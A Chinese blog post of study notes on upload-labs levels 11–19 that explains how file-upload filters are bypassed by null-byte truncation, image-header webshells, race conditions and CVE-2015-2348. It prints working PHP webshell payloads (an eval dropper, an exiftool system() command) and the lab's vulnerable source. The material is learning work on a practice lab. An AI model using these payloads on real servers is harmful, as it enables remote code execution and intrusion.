文件上传漏洞 学习笔记(二)

前言

之前已经总结了一部分文件上传漏洞,现在继续总结剩余的另一部分。

正文

漏洞环境依旧用的upload-labs。

四、白名单限制文件上传

文件截断绕过

%00截断
类型:PHP %00截断
原理:因为00代表结束符,所以会把00后面的所有字符删除
条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
常见的截断上传
0x00,%00,/00 截断的核心在于chr(0)这个字符,这个函数表示返回以数值表达式值为编码的字符。char(0)表示的ascll字符是null,当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。

Pass-11

查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

是白名单判断,但$img_path直接拼接,所以可以利用%00截断绕过,上传webshell。
因为我的ubantu虚拟机PHP版本大于5.3.4,所以直接在windows进行测试。
因为之前没用过,所以先配置一下:
1、Firefox+Burpsuite抓包配置
2、设置PHP版本
在这里插入图片描述
3、magic_quotes_gpc调为OFF:magic_quotes_gpc函数的关闭方法

配置结束,开始上传webshell.jpg,抓包,添加webshell.php%00
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述

Pass-12

查看源码,还是白名单判断,还是利用00截断。但save_path是通过post传进来的,post不会像get对%00进行自动解码,所以需要在二进制中进行修改。
在这里插入图片描述
在这里插入图片描述
空格的十六进制是20 ,将0x20 改成0x00 也就是00
在这里插入图片描述
点击Go,上传成功
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述

五、内容限制文件上传

Pass-13

在这里插入图片描述
要求上传图片马,查看源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析代码,通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,

图片马制作方法

方法一:copy normal.jpg /b + shell.php /a webshell.jpg
这里,b代表二进制,a代表ascii编码
方法二:exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 1.jpg

我采用方法一先制作个图片马webshell.jpg(为了方便以后关卡一般直尝试jpg图片马)
在这里插入图片描述
上传webshell.jpg,不用抓包改包,上传成功
在这里插入图片描述
测试连接,连接失败,发现文件名被替换。一般使用BurpSuite的Repeater进行发包上传,方便查看被修改后的文件名。这里我用的本地搭建的环境,直接查看就行了。
在这里插入图片描述
重新输入图片马的文件名,测试连接,连接成功。表示该图片上传成功,但并不意味者可以进行利用
在这里插入图片描述
利用的话,还需要结合文件包含漏洞。这个靶场环境自带了个文件包含文件内容如下:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

在php中,使用include,require、include_once、require_once函数包含的文件,会被当做php代码执行。无论文件的名称是什么,只要文件内容符合PHP代码规范,都会被当作PHP代码执行。

列出目录

Pass-14

依旧是上传图片马,查看源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

这里用的是getimagesize获取文件类型,还是直接可以利用图片马就可以绕过。
还用Pass-13制作的那个图片马,上传成功,连接成功。利用的话,结合文件包含漏洞。

当然查看有关信息发现可以图片头绕过,具体操作如下:
将PHP木马文件,改成*.php;.jpg
抓包,给文件头部加上:GIF89a 图片头标识

Pass-15

查看源码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

利用php_exif模块判断文件类型,还是直接利用图片马就可以绕过。
上传图片马,在windows上上传有问题。所以打开ubantu漏洞环境上传,上传成功
在这里插入图片描述
查看文件名
在这里插入图片描述
测试连接,连接成功。利用的话,结合文件包含漏洞。

Pass-16

依旧是上传图片马,上传、查看文件名(正常情况下是用代理工具(如:BurpSuite)查看文件名)
在这里插入图片描述
测试连接、连接成功。利用的话,结合文件包含漏洞。
不过查看源码发现,综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法(不想尝试,这里借用大佬的一张图):
在这里插入图片描述

六、竞争条件攻击

竞争条件攻击存在的原因:
一些网站上传逻辑是先允许上传任意文件,然后检查上传文件是否包含WebShell脚本,如果包含则删除该文件。文件上传成功后和删除文件之间存在短的时间差。攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
攻击过程:
攻击者先上传一个webshell脚本shell.phpshell.php的内容是生成一个新的webshell脚本webshell.php
shell.php代码如下:

<?php
fputs(fopen('../webshell.php','w'),'<?php @eval($_POST['a']);?>');
?>

shell.php上传成功后,客户端立即访问shell.php,则会在当前目录下自动生成webshell.php,这时攻击者就利用时间差完成webshell的上传。

Pass-17

查看源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包,然后不断在浏览器中访问,发现通过竞争可以访问到。
(不会不断发送上传webshell的数据包,没有复现成功)
upload-labs17

Pass-18

本关需要上传图片马,查看代码发现:
对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

依旧用webshell.jpg图片马测试,发送上传图片马的数据包
在这里插入图片描述

CVE-2015-2348 move_uploaded_file() 00截断

Pass-19

考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
查看源码,发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。上传的文件名用0x00绕过。改成*.php【二进制00】.1.jpg,上传文件名改成要自己定义。
也可以上传webshell.php/.绕过
下面用的windows的漏洞环境。两个文件名中间留一个空格
在这里插入图片描述
将0x20改为0x00
在这里插入图片描述
Forword发包,上传成功。
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述

感悟

好了,总结完毕,总算了解完文件上传漏洞的各种绕过姿势,收获很大。
继续努力,小白进阶ing。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏